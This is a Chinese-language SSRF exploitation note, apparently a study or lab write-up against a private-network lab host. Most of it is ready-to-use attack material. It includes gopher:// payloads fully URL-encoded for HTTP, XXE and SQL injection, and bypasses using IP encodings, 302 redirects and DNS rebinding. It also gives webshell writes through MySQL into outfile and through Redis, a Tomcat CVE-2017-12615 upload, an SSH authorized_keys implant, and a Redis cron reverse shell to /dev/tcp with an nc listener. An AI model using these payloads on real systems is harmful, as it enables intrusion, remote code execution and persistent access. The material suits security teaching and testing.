SSRF

(service side request forgery)服务端请求伪造,是一种又攻击者形成服务器端发起的安全漏洞,本质属于信息泄露漏洞

攻击目标:

从外网无法访问的内部系统

形成原因:

大部分是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤和限制

如:从指定URL地址获取网页文本内容

加载指定地址的图片,下载

百度识图,给出一串URL就能识别出图片

攻击方式:

借助主机A发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息

PHP实现:curl_exec

SSRF的利用:

伪协议:

file://伪协议:

1
2
3
4
5
file:///etc/passwd 读取文件
file:///etc/hosts 读取网段,获得对方ip
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
(file:///proc/net/arp只会显示访问过的存活主机,可先访问如http://192.168.134,再使用file:///proc/net/arp则可显示出192.168.134.128,可通过爆破之后再使用file:///proc/net/arp则可显示所有存活主机)
file:///proc/net/fib_trie 显示当前网段路由信息

Dict://伪协议

通过Dict://进行端口扫描(ftp://和http://也可,但扫描时间长,效率较低)

1
2
3
4
5
6
7
8
dict:// 字典服务协议,访问字典资源,如dict://ip:6379/info:

dict://+ip:端口+/TCP/IP 数据
dict://172.250.250.1:80
增加模块 1 80,攻击类型改为Cluster bomb集束炸弹
根据Length判断谁否返回数据,从而判断端口是否打开

获取网站信息:dict://172.250.250.6.6379/info

Http://伪协议

可利用http伪协议进行目录扫描

1
2
3
http://192.168.134.128/index.php

可利用kali中的 /usr/share/wordlists/dirb中的common.txt文件进行爆破

Gopher伪协议

利用范围较广:GET提交,POST提交,resis,Fastcgi,sql

1
2
3
4
基本格式:URL:gopher://<host>:<port>/<gopher-path>
web也需要加端口号80,gopher协议默认端口为70

gopher请求不装发第一个字符(如:curl gopher:127.0.0.1:7777/abcde ,在监听处得到的数据为bcde),所以在使用gopher伪协议时会在第一位加上一个填充位:gopher:127.0.0.1:7777/_abcde,使获得的数据为abcd

使用gopher伪协议进行GET提交:

GET提交必须的头部信息:

  • 1.路径:GET /index.php?url=aaa HTTP/1.1
  • 2.目标ip地址: Host: 192.168.134.128

(提交的内容必须换行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
最终payload:
gopher://192.168.134.128:80/_GET /index.php?url=aaa HTTP/1.1
Host: 192.168.134.128
(此处为换行,不可省)

url编码后得到:gopher://192.168.134.128:80/_GET%20/index.php%3furl=aaa%20HTTP/1.1%0d%0AHost: 192.168.134.128%0d%0A
(空格:%20 问号:%3f 换行符:%0d%0A)

也可以将_后的内容:
GET /index.php?url=aaa HTTP/1.1
Host: 192.168.134.128

进行两次url编码再进行提交
(两次编码:提交数据后ssrf服务器会进行第一次url解码后将解码的内容发给攻击的服务器,再进行第二次解码,为使想要攻击的服务器解码后得到的内容为我们构造的payload,所以需要进行两次url编码,如果是在浏览器中进行提交则只需url编码,因为浏览器会自动再进行一次url编码)

使用gopher伪协议进行POST提交:

需要保留头部信息:

  • 1.POST

  • 2.Host

  • 3.Content-Type

  • 4.Content-Length

1
2
3
4
5
6
POST /index.php HTTP/1.1
Host: 192.168.134.128
Content-Type: application/x-www-form-urlencoded
Content-Length: 8(需根据内容改变)

name=aaa

使用gopher提交为:

1
gopher://192.168.134.128:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%33%25%33%34%25%32%65%25%33%31%25%33%32%25%33%38%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%38%25%30%61%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%31%25%36%31%25%36%31

环回地址绕过

1
2
3
4
5
127.0.0.1 点分十进制
01111111000000000000000000000001 数据包中实际是32位bit二进制,没有点
017700000001 八进制
0x7F000001 十六进制
2130706433 十进制连续

302重定向绕过IP限制

针对私网IP地址被限制,当后台对我们输入的IP进行检查如是否为内网IP,进行过滤时,可使用302重定向进行绕过

1
2
3
4
5
6
7
构建302重定向:
在kali的/opt/302中创建index.php,内容为:
<?php
header('Location:http://127.0.0.1/flag.php');
?>

(不能使用python)使用php -S 0.0.0.0:7777开启服务

再将其映射到公网上,在SSRF服务器上访问公网IP,此时公网IP就会访问我们创建的index.php页面上,从而重定向到127.0.0.1/flag.php下

1
如我在kali的/opt/302目录下开启了php服务,再在我的windows下访问192.168.134.128:7777,他直接302跳转到了127.0.0.1/flag.php

1
2
3
4
5
6
7
8
9
10
11
12
但是此时有一个问题。私人IP被过滤,那我们的kali的IP也会被过滤,那如何让SSRF访问到我们构造的302跳转页面呢?

方法:使用在线短链接/跳转服务
有些在线服务本身就提供302跳转功能,你可以直接利用它们,无需自己搭建服务器

使用httpbin.org:这是一个非常实用的HTTP测试服务。你可以直接构造如下URL作为Payload:
http://httpbin.org/redirect-to?url=http://127.0.0.1/flag.php
目标服务器访问这个链接时,httpbin.org 会返回一个302状态码,将请求跳转到内网的 flag.php
使用短链接生成器:访问 https://www.bitly.com/ 或类似网站,将 http://127.0.0.1/flag.php 缩短成一个短链接(如 https://bit.ly/xxx)。如果目标服务器只拦截了包含明显内网IP的字符串,但对短链接域名放行,那么这个短链接就可以作为Payload
(此方法不需要我们构造index.php302跳转页面)

直接访问http://httpbin.org/redirect-to?url=http://127.0.0.1/flag.php 也会跳转到我们想要的127.0.0.1/flag.php下

DNS重绑定绕过

针对SSRF漏洞的防御:

  • 1.解析目标URL,获取其Host
  • 2.解析Host,获取Host指向的IP地址
  • 3.检查IP地址是否为内网地址
  • 4.请求URL
  • 5.如果有跳转,拿出跳转URL,执行步骤1

可以有效防止302跳转和直接访问内网IP,但是无法防止DNS重绑定攻击

SSRF防御模式:

攻击原理:利用服务器两次解析同一域名的短暂间隙,更换域名背后的IP达到突破同源策略或绕过waf进行ssrf的目的

TTL:

TTL全称是“生存时间(Time To Live)”,简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快

当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。

1
2
3
4
视频中用到了一个网站: https://lock.cmpxchg8b.com/rebinder.html

它的特点是TTL为0,他会生成一个新域名,使第一次DNS解析公网IP,第二次DNS解析内网IP
A为私网IP,B为公网IP(可随意设置)

1
2
3
如图则payload:
http://7f000001.c0a80001.rbndr.us/flag.php
等同于访问http://127.0.0.1/flag.php

命令执行

如果对方某IP下存在shell.php命令执行页面,可利用其进行命令执行

可使用gopher进行提交

利用SSRF进行XXE漏洞利用

在面对一个登录页面时,无法判断其是sql注入或者XXE漏洞时,查看源代码发现如下格式:

确定为XXE漏洞

1
2
3
4
5
6
7
8
可以构造如下POST包:
POST /doLogin.php HTTP/1.1
Host: 192.168.134.128
Content-Type: applocation/xml;charest=utf-8
Content-Length: 129

<!DOCTYPE root [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>admin</password></user>

再使用gopher://伪协议进行提交

1
gopher://192.168.134.128:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%34%25%36%66%25%34%63%25%36%66%25%36%37%25%36%39%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%33%25%33%34%25%32%65%25%33%31%25%33%32%25%33%38%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%66%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%36%64%25%36%63%25%33%62%25%36%33%25%36%38%25%36%31%25%37%32%25%36%35%25%37%33%25%37%34%25%33%64%25%37%35%25%37%34%25%36%36%25%32%64%25%33%38%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%31%25%33%32%25%33%39%25%30%61%25%30%61%25%33%63%25%32%31%25%34%34%25%34%66%25%34%33%25%35%34%25%35%39%25%35%30%25%34%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%35%62%25%33%63%25%32%31%25%34%35%25%34%65%25%35%34%25%34%39%25%35%34%25%35%39%25%32%30%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%32%30%25%35%33%25%35%39%25%35%33%25%35%34%25%34%35%25%34%64%25%32%30%25%32%32%25%36%36%25%36%39%25%36%63%25%36%35%25%33%61%25%32%66%25%32%66%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34%25%32%32%25%33%65%25%35%64%25%33%65%25%30%61%25%33%63%25%37%35%25%37%33%25%36%35%25%37%32%25%33%65%25%33%63%25%37%35%25%37%33%25%36%35%25%37%32%25%36%65%25%36%31%25%36%64%25%36%35%25%33%65%25%32%36%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%33%62%25%33%63%25%32%66%25%37%35%25%37%33%25%36%35%25%37%32%25%36%65%25%36%31%25%36%64%25%36%35%25%33%65%25%33%63%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%33%65%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65%25%33%63%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%33%65%25%33%63%25%32%66%25%37%35%25%37%33%25%36%35%25%37%32%25%33%65

利用SSRF进行sql注入

假如使用SSRF扫描到内网存在具有SQL注入漏洞的页面,对该页面进行SQL注入

如:http://192.168.134.128/less-1/?id=1' --+

注意:

GET提交:

用hackbar进行GET提交时需要把所有空格进行两次URL Encode替换为%2520

POST提交:

1
2
3
4
5
6
7
8
9
10
构造如下POST包:
POST /index.php HTTP/1.1
Host: 192.168.134.128
Content-Type: applocation/x-www-form-urlencoded
Content-Length: 12

uname=1' --+

使用gopher伪协议进行POST提交:
gopher://192.168.134.128/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%33%25%33%34%25%32%65%25%33%31%25%33%32%25%33%38%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%66%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%31%25%33%32%25%30%61%25%30%61%25%37%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%33%31%25%32%37%25%32%30%25%32%64%25%32%64%25%32%62

利用SSRF进行文件上传

multipart/form-data定义:

假如使用SSRF扫描到内网存在具有文件上传漏洞的页面,并且上传格式为multipart/form-data,对该页面进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
构造文件上传POST包:
POST /index.php HTTP/1.1
Host: 192.168.134.128
Content-Type: multipart/form-data;boundary=----aaa (定义分界线,此处为四个横线)
Content-Length:

------aaa
Content-Disposition: form-data;name="upload_file";filename="phpinfo.php"
Content-Type:image/jpeg

<?php phpinfo(); ?>
------aaa
Content-Disposition: form-data;name="submin"

上传 value
------aaa(此处为六个横线)

再使用gopher://伪协议进行提交,在响应码中查看上传的文件的路径,再访问相应路径查看文件就可查看命令执行的结果

利用SSRF进行文件包含漏洞利用

假如使用SSRF扫描到内网存在具有文件包含传漏洞的页面,对该页面进行攻击

使用gopher伪协议进行请求发送

利用SSRF对SQL进行未授权查询

简单点说就是利用SSRF帮助我们给MySQL下达命令:

前提条件:SQL未授权(即未设置密码)

抓取本地MySQL数据库通信内容构造payload

tcpdump Wireshark

抓取查询数据的十六进制展示,再变成URL编码进行提交

1
2
3
4
5
6
7
查看表名:
tcpdump -i lo port 3306 -w mysql.pcapng

mysql -h 127.0.0.1 -u root --ssl-mode=DISABLED
use security;
show tables;
quit;

这里可以使用Gopherus工具生成payload:

1
2
3
4
5
进入Gopherus目录下使用python2.7运行gopherus.py:
python2.7 gopherus.py --exploit mysql

Give MySQL username: root (攻击时使用的用户名,如空密码的root)
Give query to execute: show databases;(想要执行的sql语句)

再根据具体的IP地址和端口(mysql-3306)对gopher伪协议内容进行修改

利用SSRF对MySQL未授权文件写入

使用Gopherus:

1
2
3
4
5
进入Gopherus目录下使用python2.7运行gopherus.py:
python2.7 gopherus.py --exploit mysql

Give MySQL username: root (攻击时使用的用户名,如空密码的root)
Give query to execute: show variables like '%security%';(查看是否有文件写入权限)

再根据具体的IP地址和端口(mysql-3306)对gopher伪协议内容进行修改

如果使用gopherus伪协议提交后出现:secure_filr_priv值为空,说明有文件写入权限,可以写入木马文件

使用into outfile生成文件cmd.php并写入一句话

1
2
3
4
5
进入Gopherus目录下使用python2.7运行gopherus.py:
python2.7 gopherus.py --exploit mysql

Give MySQL username: root (攻击时使用的用户名,如空密码的root)
Give query to execute: select "<?php system($_GET['cmd']); ?>" into outfile '/var/www/html/cmd.php'; (使用into outfile生成文件cmd.php并写入一句话)

再根据具体的IP地址和端口(mysql-3306)对gopher伪协议内容进行修改,提交后可以进行命令执行

利用SSRF对tomcat文件写入

(CVE-2017-12615)

任意文件上传

绕过验证直接在目标靶机进行文件上传

默认端口8080

固定头部信息:

jsp文件内容:

首先利用SSRF得到具有tomcat的页面,对该页面使用gopher://192.168.134.128:80/_,再进行抓包,再将上述两图内容两次url编码(两部分中间有换行)拼接到_后面,发送

再进行命令执行:http://192.168.134.128:80/1.jsp/?cmd=ls

利用SSRF对redis未授权漏洞利用

redis是什么?

1
2
3
4
5
6
7
8
Redis 是一个开源的内存数据库,经常被称作数据结构服务器(端口6379)

它是数据库,但和MySQL不一样

对比 MySQL Redis
数据存在哪 硬盘里 内存里
速度快慢 慢(读写硬盘) 极快(读写内存)
主要用途 存最终数据 存临时数据、缓存

检测对方网站的redis信息:

1
dict://192.168.134.128:6379/info

如果对方有网站,我们可以采用此方法getshell

1
2
3
4
5
redis写webshell的方式:
config set dir /var/www/html/ #指定当前打开的目录
config set dbfilename webshell.php #指定当前打开的文件名称,没有则创建
set test "<?php @eval($_POST[cmd]);?>" #指定写入的内容
save #保存

使用gopherus构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
进入Gopherus目录下使用python2.7运行gopherus.py:
python2.7 gopherus.py --exploit redis


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell):

Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
(该payload为Gopherus生成的默认PHPshell,可以通过GET方法提交cmd进行命令执行)

利用SSRF对redis未授权写入ssh公钥

如果对方主机开启了ssh,可以尝试写入ssh公钥文件,从而进行ssh登录(将自己在kali上生成的公钥写入对方的authorized_keys文件里)

  • 1.在kali上生成私钥对
1
2
3
ssh-keygen -t rsa
(生成的公钥和私钥在~/.ssh文件夹下的id_rsa.pub里)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9Xyfpt4fcZz5zXIg1DRF35jgyMWOTIIRRY3/0Z5cXy7dcZ5qVKpZOF0mIucMLlLOYBTpkyQ3Oo03ihcUIZJuh1LHxG6Srn4h3UWEI6XZRGjTKwNEEyLdbV/TDLDpSTfV6mGvq3fgwF6USU05ciINNjOvzDZDDaurf4lI7+WYoHRvopHuuEZmh4khe2Y6afFp4dDywZGqQ15zCkzIi7jB8/JWLeeFDilCUAfS30ftqXFOusNDPZ+8Bizx536rFW3qemuM/16iDh/VarQKel3vMpfvQTmnsOyG7l0TbAexCjl69gscqliXSlxOVx6ryl/WhMXwRqAKxQgSOviXsDHDnYogGBy+XQyWs2C38RpJCOmzyT8ckW4LGFT8MljfDT+Xn+H+9OQUkvhaFTH4g8KVcsHlwHDleRRdCjSnVwFpUSXr3q+IxsGH1wdFkjuCyT79qI8gAXGbqOod36OREVwCoBYDapnSg1S/Ttnq8zfqVTIOn/PaBl4QClWQMv0wBHeE= root@kali

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
TCP数据流:

*3 # 数组长度,表示有3个参数
$3 # 第一个参数长度是3个字节
set # 第一个参数:SET 命令
$10 # 第二个参数长度是10个字节
dbfilename # 第二个参数:键名
$15 # 第三个参数长度是15个字节
authorized_keys # 第三个参数:值(写入的文件名)
*3 # 下一个命令的数组长度
$3 # ...
set
$7
payload
$568 # 长度568字节的 SSH 公钥内容


ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQC9Xyfpt4fcZz5zXIg1DRF35jgyMWOTIIRRY3/0Z5cXy7dcZ5qVKpZOF0mIucMLlLOYBTpkyQ3Oo03ihcUIZJuh1LHxG6Srn4h3UWEI6XZRGjTKwNEEyLdbV/TDLDpSTfV6mGvq3fgwF6USU05ciINNjOvzDZDDaurf4lI7+WYoHRvopHuuEZmh4khe2Y6afFp4dDywZGqQ15zCkzIi7jB8/JWLeeFDilCUAfS30ftqXFOusNDPZ+8Bizx536rFW3qemuM/16iDh/VarQKel3vMpfvQTmnsOyG7l0TbAexCjl69gscqliXSlxOVx6ryl/WhMXwRqAKxQgSOviXsDHDnYogGBy+XQyWs2C38RpJCOmzyT8ckW4LGFT8MljfDT+Xn+H+9OQUkvhaFTH4g8KVcsHlwHDleRRdCjSnVwFpUSXr3q+IxsGH1wdFkjuCyT79qI8gAXGbqOod36OREVwCoBYDapnSg1S/Ttnq8zfqVTIOn/PaBl4QClWQMv0wBHeE= root@kali # 公钥数据(为了使公钥不被前后添加的内容所混淆,公钥前后都要添加两个换行)


*1 # 最后一个命令
$4
save # 保存到磁盘

全部换到一行进行两次url编码,使用gopher://伪协议进行提交(提交后就将公钥写入了对方的authorized_keys文件里)

再在kali的~/.ssh目录下进行连接:ssh -i 你的私钥文件 用户名@目标ip

ssh -i id_rsa -p 2222 root@192.168.134.128

利用SSRF对redis未授权计划任务shell反弹

写入定时任务,让目标靶机执行后连接到我们的kali上来

利用gopherus生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): ReverseShell(shell反弹)

Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 192.168.134.128(这里填自己的kali的ip)
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis : (回车默认值)
Your gopher link is ready to get Reverse Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2470%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.134.128/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

该payload默认是反弹到1234端口,所以需要开启端口监听:
nc -lvp 1234